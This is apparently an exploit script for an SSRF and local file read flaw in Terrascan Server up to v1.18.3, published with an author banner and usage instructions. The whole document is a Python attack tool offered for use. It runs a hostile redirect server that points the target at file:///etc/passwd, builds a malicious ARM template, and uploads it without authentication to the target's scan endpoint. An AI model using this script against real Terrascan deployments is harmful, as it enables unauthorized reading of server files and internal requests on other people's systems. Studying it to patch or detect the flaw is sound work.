Tenable Terrascan Server <= v1.18.3 SSRF and Local File Read

#!/usr/bin/env python3 # Exploit Title: Tenable Terrascan Server <= v1.18.3 SSRF and Local File Read # CVE: CVE-2026-47358 # Date: 2026-05-20 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Vendor Homepage: https://github.com/tenable/terrascan # Software Link: https://github.com/tenable/terrascan # Affected: Terrascan Server <= v1.18.3 # Tested on: Terrascan v1.18.3 # Category: Remote # Platform: Linux # Exploit Type: SSRF + Local File Read # CVSS: # CWE : CWE-918, CWE-73, CWE-610 # Description: Terrascan server allows unauthenticated SSRF and local file read via external URL resolution in IaC templates using go-getter. # Fixed in: Unfixed (Project Archived) # Usage: python3 exploit.py <target> --lhost <your_ip> --lport <your_port> # # Examples: # python3 exploit.py http://127.0.0.1:9010 --lhost 192.168.1.100 --lport 8080 # # Options: # # Notes: # # How to Use # # Step 1: print(r""" ╔════════════════════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ ██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗ ║ ║ ██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗ ║ ║ ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║ ║ ██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║ ║ ██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ║ ║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ║ ║ ║ ║ [ b a n y a m e r _ s e c u r i t y ] ║ ║ ║ ║ ▸ Silent Hunter | Shadow Presence | Digital Intel ◂ ║ ║ ║ ║ Operator : Mohammed Idrees Banyamer • Jordan 🇯🇴 ║ ║ Handle : @banyamer_security ║ ║ ║ ║ Exploit : CVE-2026-47358 ║ ║ Target : Tenable Terrascan Server ║ ║ ║ ║ Status : ACTIVE ║ ║ ║ ╚════════════════════════════════════════════════════════════════════════════════════════════╝ """) import requests import json import time import argparse import os from http.server import HTTPServer, BaseHTTPRequestHandler from threading import Thread TARGET_URL = None ATTACKER_HOST = "0.0.0.0" ATTACKER_PORT = None class TerraformRedirectHandler(BaseHTTPRequestHandler): def do_GET(self): if self.path.endswith("/payload"): self.send_response(200) self.send_header("X-Terraform-Get", "file:///etc/passwd") self.end_headers() self.wfile.write(b"malicious redirect payload") else: self.send_response(200) self.end_headers() self.wfile.write(b"ok") def start_malicious_server(): server = HTTPServer((ATTACKER_HOST, ATTACKER_PORT), TerraformRedirectHandler) print(f"[*] Malicious server listening on {ATTACKER_HOST}:{ATTACKER_PORT}") server.serve_forever() def create_malicious_arm_template(): template = { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [], "outputs": { "poc": { "type": "string", "value": "CVE-2026-47358 PoC" } }, "templateLink": { "uri": f"http://localhost:{ATTACKER_PORT}/payload" } } with open("malicious_arm.json", "w") as f: json.dump(template, f, indent=2) print("[+] Malicious ARM template created") def upload_to_terrascan(file_path): url = f"{TARGET_URL}/v1/arm/1.0/azure/scan" try: with open(file_path, "rb") as f: files = {"file": (os.path.basename(file_path), f, "application/json")} response = requests.post(url, files=files, timeout=15) print(f"[+] Upload status: {response.status_code}") except Exception as e: print(f"[-] Upload error: {e}") def main(): global TARGET_URL, ATTACKER_PORT parser = argparse.ArgumentParser() parser.add_argument("target", help="Target Terrascan URL (e.g. http://127.0.0.1:9010)") parser.add_argument("--lhost", required=True, help="Your IP for callback") parser.add_argument("--lport", type=int, default=8080, help="Your listening port") args = parser.parse_args() TARGET_URL = args.target.rstrip("/") ATTACKER_PORT = args.lport print("[*] Starting malicious server...") server_thread = Thread(target=start_malicious_server, daemon=True) server_thread.start() time.sleep(2) create_malicious_arm_template() upload_to_terrascan("malicious_arm.json") print("[+] Exploit sent. Check your listener for SSRF activity.") if __name__ == "__main__": main()